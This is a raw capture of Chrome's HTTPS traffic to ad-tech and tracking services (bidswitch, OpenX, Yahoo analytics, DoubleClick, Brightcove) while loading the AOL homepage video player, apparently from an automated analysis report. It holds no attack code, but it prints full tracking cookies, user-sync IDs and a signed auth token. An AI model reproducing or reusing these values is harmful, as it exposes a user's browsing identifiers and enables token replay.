2024-05-23 22:35:18 UTC	272	IN	HTTP/1.1 200 OK content-length: 574 content-type: text/html date: Thu, 23 May 2024 22:35:17 GMT server: Kestrel cache-control: no-store,max-age=0 cross-origin-resource-policy: cross-origin strict-transport-security: max-age=31536000; preload; connection: close
2024-05-23 22:35:18 UTC	574	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 78 2e 62 69 64 73 77 69 74 63 68 2e 6e 65 74 2f 73 79 6e 63 3f 73 73 70 3d 63 72 69 74 65 6f 26 63 75 73 74 6f 6d 5f 64 61 74 61 3d 54 65 58 64 69 31 39 6d 56 30 5a 74 4e 6a 63 6c 4d 6b 4a 46 57 6b 78 46 4d 55 4a 36 61 7a 46 72 53 58 68 5a 53 55 68 36 4d 54 46 56 61 6c 5a 61 56 30 4a 35 59 6b 5a 4f 59 6b 67 30 52 53 55 79 52 6b 70 4e 55 53 55 7a 52 41 26 67 64 70 72 3d 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 75 73 5f 70 72 69 76 61 63 79 3d 31 59 4e 4e 26 63 72 5f 75 73 65 72 5f 69 64 3d 6b 2d 61 39 45 68 75 56 69 36 55 52 74 63 44 67 75 46 72 51 61 46 6d 52 76 39 4d 4b 69 54 58 4e 54 35 30 63 32 5f 46 77 22 3e Data Ascii: <!DOCTYPE html><html><body><img src="https://x.bidswitch.net/sync?ssp=criteo&custom_data=TeXdi19mV0ZtNjclMkJFWkxFMUJ6azFrSXhZSUh6MTFValZaV0J5YkZOYkg0RSUyRkpNUSUzRA&gdpr=&gdpr_consent=&us_privacy=1YNN&cr_user_id=k-a9EhuVi6URtcDguFrQaFmRv9MKiTXNT50c2_Fw">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
744	192.168.2.6	50600	151.101.2.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	1363	OUT	GET /license/v1/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/04cd0196-5ce1-4316-ad15-e975ff605a08?fastly_token=NjY1MDFjZDhfNjg3MWY1ZTc1M2I3NDJhN2FkM2Q4MzNkZWYzNTA4NTYwYWI1MTM0NjI5NjY2ODVjNzEyMzhkODkzMjI2YWViZg%3D%3D&bcov_auth=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w HTTP/1.1 Host: manifest.prod.boltdns.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://s.yimg.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:18 UTC	563	IN	HTTP/1.1 200 OK Connection: close Content-Length: 16 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Bcov-Jwt-Validity: success Bcov-Request-Id: 6f6384d6-2af7-4e9a-bebf-b939ca6566e2 Cache-Control: private, max-age=136 Content-Type: application/octet-stream X-Hosted-On: Gantry X-Powered-By: BC X-Powered-From: us-east-1c Accept-Ranges: bytes Date: Thu, 23 May 2024 22:35:18 GMT Via: 1.1 varnish X-Served-By: cache-ewr18157-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1716503718.213835,VS0,VE53 X-Device-Group: desktop-chrome
2024-05-23 22:35:18 UTC	16	IN	Data Raw: d3 fa 67 b1 7f 8e d3 fb e7 62 f7 97 bd 9c 04 e1 Data Ascii: gb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
745	192.168.2.6	50598	34.247.233.198	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	787	OUT	GET /usersync?b=pbm&i=BD0DE19C-09D4-4B62-A188-46A0D2E6C177 HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
2024-05-23 22:35:18 UTC	210	IN	HTTP/1.1 200 Date: Thu, 23 May 2024 22:35:18 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-05-23 22:35:18 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
746	192.168.2.6	50603	87.248.119.252	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	2084	OUT	GET /p?evt=ad_dlvf&_E=ad_dlvf&_V=V&V_sec=pb&_w=https%3A%2F%2Fwww.aol.com%2F&pver=1.6.29&aver=3.642.0&an=null&os=null&psz=368x276&expn=aolhomepage&abid=null&s=1197803361&lang=en-US&lms_id=a077000000IpoJiAAJ&refid=null&intl=us&site=aolhomepage&bckt=Treatment_Oath_Player&paln=false&givn=false&rsz=0&pls=c32aa27e-7796-468d-8df4-0e2b43fa14aa&vs=b2be1uzt&pstaid=42b897a6-9771-3329-b351-69a701a77438&ar=1.33&cont=1&pltype=desktop&expb=aol-acookie-control%2Caol-aa-1&test=aol-acookie-control%2Caol-aa-1&mode=EVP&pt=home&pd=null&pct=aol&r_code=1&crid=null&v_cr_id=null&adid=null&plcid=us_aol_hp_dt_video&adseq=1&f_call=pbs.yahoo.com&f_hop=null&l_hop=null&n_hop=null&skippable=null&taken=1&medS=1&mtype=null&ntwk=Prebid+Yahoo+-+Desktop+-+EV+Player&pos=preroll&rule=61d4e315-4afe-42a4-9fe4-c568d6e71873&ibn=US+-+AOL+-+Homepage+-+Desktop+-+Video+Prebid&tbId=kDuKcatcHKsZfxHT&r_type=1&ad_sys=null&cflv=null&cjs=null&cmp4=null&cswf=null&cwbm=null&cm3u8=null&cpng=null&cjpg=null&pbbid=01kdqc5j4vh4l;61d4e315-4afe-42a4&tmout=3000&adl=151&a [TRUNCATED] Host: bats.video.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://imasdk.googleapis.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; tbla_id=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14; axids=gam=y-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A&dv360=eS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B&ydsp=y-Q1anlJpE2uLNXvog9cXvHne26mx9Lj2d~A&tbla=y-hQJOddZE2uJ.k4E_AdFKaRd4VpIL_y_h~A
2024-05-23 22:35:18 UTC	442	IN	HTTP/1.1 200 OK content-length: 0 content-type: text/plain x-envoy-upstream-service-time: 81 date: Thu, 23 May 2024 22:35:18 GMT server: ATS Referrer-Policy: no-referrer-when-downgrade Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
747	192.168.2.6	50606	87.248.119.252	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	2035	OUT	GET /p?evt=ad_oppty&_E=ad_oppty&_V=V&V_sec=pb&_w=https%3A%2F%2Fwww.aol.com%2F&pver=1.6.29&aver=3.642.0&an=null&os=null&psz=368x276&expn=aolhomepage&abid=null&s=1197803361&lang=en-US&lms_id=a077000000IpoJiAAJ&refid=null&intl=us&site=aolhomepage&bckt=Treatment_Oath_Player&paln=false&givn=false&rsz=0&pls=c32aa27e-7796-468d-8df4-0e2b43fa14aa&vs=b2be1uzt&pstaid=42b897a6-9771-3329-b351-69a701a77438&ar=1.33&cont=1&pltype=desktop&expb=aol-acookie-control%2Caol-aa-1&test=aol-acookie-control%2Caol-aa-1&mode=EVP&pt=home&pd=null&pct=aol&r_code=3&crid=null&v_cr_id=null&adid=null&plcid=%2F22888152279%2Fus%2Faol%2Fhp%2Fdt%2Fus_aol_hp_dt_video&adseq=2&f_call=pubads.g.doubleclick.net&f_hop=null&l_hop=null&n_hop=null&skippable=null&taken=1&medS=2&mtype=null&ntwk=GAM+-+Desktop+-+EV+Player&pos=preroll&rule=ad0a741c-5933-43b4-909e-bf6a79a38cb9&ibn=US+-+AOL+-+Homepage+-+Desktop+-+Video&tbId=kDuKcatcHKsZfxHT&r_type=3&ad_sys=null&cflv=null&cjs=null&cmp4=null&cswf=null&cwbm=null&cm3u8=null&cpng=null&cjpg=null&pbbid=01kdqc5j4vh4l;ad0a [TRUNCATED] Host: bats.video.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://imasdk.googleapis.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; tbla_id=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14; axids=gam=y-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A&dv360=eS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B&ydsp=y-Q1anlJpE2uLNXvog9cXvHne26mx9Lj2d~A&tbla=y-hQJOddZE2uJ.k4E_AdFKaRd4VpIL_y_h~A
2024-05-23 22:35:18 UTC	443	IN	HTTP/1.1 200 OK content-length: 0 content-type: text/plain x-envoy-upstream-service-time: 139 date: Thu, 23 May 2024 22:35:18 GMT server: ATS Referrer-Policy: no-referrer-when-downgrade Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
748	192.168.2.6	50607	3.71.149.231	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	1105	OUT	GET /ups/58294/sync?_origin=1&uid=018ac9c3-7fa5-4408-b209-66a5edc2a33f HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; tbla_id=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14; axids=gam=y-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A&dv360=eS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B&ydsp=y-Q1anlJpE2uLNXvog9cXvHne26mx9Lj2d~A&tbla=y-hQJOddZE2uJ.k4E_AdFKaRd4VpIL_y_h~A; IDSYNC="18z8~2ila:19ac~2ila:19aj~2ila:19bn~2ila:19bu~2ila:19cu~2ila:19cw~2ila:19e0~2ila:19e7~2ila:19ea~2ila"
2024-05-23 22:35:18 UTC	711	IN	HTTP/1.1 204 No Content Date: Thu, 23 May 2024 22:35:18 GMT Strict-Transport-Security: max-age=31536000 Set-Cookie: IDSYNC="18z8~2ila:19ac~2ila:19aj~2ila:19bn~2ila:19bu~2ila:19cu~2ila:19cw~2ila:19e0~2ila:19e7~2ila:19ea~2ila:18za~2ila";Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Fri, 23-May-2025 22:35:18 GMT;Secure;SameSite=None P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Age: 0 Connection: close Server: ATS/9.1.10.112 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:18 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
749	192.168.2.6	50613	209.54.182.161	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	456	OUT	GET /ecm3?ex=rubiconprojectHMT&id=Dc_b9-PmTX6gMqsoiQWwkA&gdpr=0 HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A5cRjNUAyEa0vmcria2wSMY; ad-privacy=0
2024-05-23 22:35:18 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Thu, 23 May 2024 22:35:18 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: T6G2ERJ9FB7G0VH51N9Q Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-23 22:35:18 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
750	192.168.2.6	50631	151.101.66.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	1138	OUT	GET /license/v1/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/04cd0196-5ce1-4316-ad15-e975ff605a08?fastly_token=NjY1MDFjYzRfMzQ4NWVmODQwMDIyYjVmMGZkMmUyMGIzZWEzMjYzZTNjYWZmOWZjMjIyOTcyYWFmNjUwZDY3NTM5MjNiNzZhMQ%3D%3D&bcov_auth=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w HTTP/1.1 Host: manifest.prod.boltdns.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:18 UTC	563	IN	HTTP/1.1 200 OK Connection: close Content-Length: 16 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Bcov-Jwt-Validity: success Bcov-Request-Id: 9b5f1e51-bd45-4711-82e8-407109796ff8 Cache-Control: private, max-age=136 Content-Type: application/octet-stream X-Hosted-On: Gantry X-Powered-By: BC X-Powered-From: us-east-1c Accept-Ranges: bytes Date: Thu, 23 May 2024 22:35:18 GMT Via: 1.1 varnish X-Served-By: cache-ewr18175-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1716503719.508145,VS0,VE61 X-Device-Group: desktop-chrome
2024-05-23 22:35:18 UTC	16	IN	Data Raw: d3 fa 67 b1 7f 8e d3 fb e7 62 f7 97 bd 9c 04 e1 Data Ascii: gb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
751	192.168.2.6	50625	35.244.159.8	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	582	OUT	GET /w/1.0/sd?id=537148856&val=Zk-ElAAAAUphKgAT&_test=Zk-ElAAAAUphKgAT HTTP/1.1 Host: us-u.openx.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: i=fce27513-0e48-41b6-bbf8-6f471e4664ab\|1716503696; univ_id=537072971\|8369ae03-bf51-422b-a15c-33306b0e1dfe\|1716503706850093; pd=v2\|1716503697.17\|iKvPvMgakWgy.bwuYhEgKg2f8
2024-05-23 22:35:18 UTC	366	IN	HTTP/1.1 200 OK Vary: Accept Server: OXGW/0.0.0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID" Expires: Mon, 26 Jul 1997 05:00:00 GMT Date: Thu, 23 May 2024 22:35:18 GMT Content-Type: image/gif Content-Length: 43 Cache-Control: private, max-age=0, no-cache Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:18 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
752	192.168.2.6	50639	34.98.64.218	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	898	OUT	GET /w/1.0/cm?id=e508c905-ddce-4732-92a4-0b0f5b72a28f&r=https%3A%2F%2Fid.rlcdn.com%2F464246.gif%3Fpartner_uid%3D%7BOPENX_ID%7D HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; i=fce27513-0e48-41b6-bbf8-6f471e4664ab\|1716503696; univ_id=537072971\|8369ae03-bf51-422b-a15c-33306b0e1dfe\|1716503706850093; pd=v2\|1716503697.17\|iKvPvMgakWgy.bwuYhEgKg2f8
2024-05-23 22:35:18 UTC	567	IN	HTTP/1.1 302 Moved Temporarily Vary: Accept, Accept-Encoding Set-Cookie: i=fce27513-0e48-41b6-bbf8-6f471e4664ab\|1716503696; Version=1; Expires=Fri, 23-May-2025 22:35:18 GMT; Max-Age=31536000; Secure; Domain=.openx.net; Path=/; SameSite=None Server: OXGW/0.0.0 P3P: CP="CUR ADM OUR NOR STA NID" Location: https://id.rlcdn.com/464246.gif?partner_uid=7a88352c-6a88-4821-be57-275c43fa368e Date: Thu, 23 May 2024 22:35:18 GMT Content-Type: image/gif Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
753	192.168.2.6	50624	35.244.159.8	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	646	OUT	GET /w/1.0/sd?id=537072971&val=8369ae03-bf51-422b-a15c-33306b0e1dfe&ttd_puid=2f4e4a4a-a7cf-7e41-e12e-a7af7a615756&gdpr=0&gdpr_consent= HTTP/1.1 Host: us-u.openx.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: i=fce27513-0e48-41b6-bbf8-6f471e4664ab\|1716503696; univ_id=537072971\|8369ae03-bf51-422b-a15c-33306b0e1dfe\|1716503706850093; pd=v2\|1716503697.17\|iKvPvMgakWgy.bwuYhEgKg2f8
2024-05-23 22:35:18 UTC	568	IN	HTTP/1.1 200 OK Vary: Accept Set-Cookie: univ_id=537072971\|8369ae03-bf51-422b-a15c-33306b0e1dfe\|1716503718534836; Version=1; Expires=Fri, 07-Jun-2024 22:35:18 GMT; Max-Age=1296000; Secure; Domain=.openx.net; Path=/; SameSite=None Server: OXGW/0.0.0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID" Expires: Mon, 26 Jul 1997 05:00:00 GMT Date: Thu, 23 May 2024 22:35:18 GMT Content-Type: image/gif Content-Length: 43 Cache-Control: private, max-age=0, no-cache Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:18 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
754	192.168.2.6	50609	142.250.184.226	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	484	OUT	GET /pagead/js/car.js HTTP/1.1 Host: securepubads.g.doubleclick.net Connection: keep-alive Accept: application/javascript Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUly4VaqSUudDbFxZ6i8f3wSstck2G-xsKi1H5Ki1wSrQCD5aU-nM8msFXEJKzk
2024-05-23 22:35:18 UTC	813	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Shared-Storage-Cross-Origin-Worklet-Allowed: ?1 Access-Control-Allow-Credentials: true X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="f.txt" Server: cafe Content-Length: 4106 X-XSS-Protection: 0 Date: Thu, 23 May 2024 22:06:46 GMT Expires: Thu, 23 May 2024 23:06:46 GMT Cache-Control: public, max-age=3600 Age: 1712 ETag: 15091841756868824426 Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:18 UTC	577	IN	Data Raw: 2f 2a 20 0a 20 0a 20 43 6f 70 79 72 69 67 68 74 20 54 68 65 20 43 6c 6f 73 75 72 65 20 4c 69 62 72 61 72 79 20 41 75 74 68 6f 72 73 2e 20 0a 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 20 0a 2a 2f 20 0a 76 61 72 20 65 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 66 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 7d 3b 2f 2a 20 0a 20 0a 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 20 0a 2a 2f 20 0a 76 61 72 20 67 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 68 28 61 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 69 73 46 72 6f 7a 65 6e 28 61 29 26 26 4f 62 6a 65 63 74 2e 69 73 46 72 6f 7a 65 6e 28 61 2e 72 61 77 29 7d 66 75 6e 63 Data Ascii: /* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0 / var e=this\|\|self,f=function(a){return a};/ SPDX-License-Identifier: Apache-2.0 */ var g={};function h(a){return Object.isFrozen(a)&&Object.isFrozen(a.raw)}func
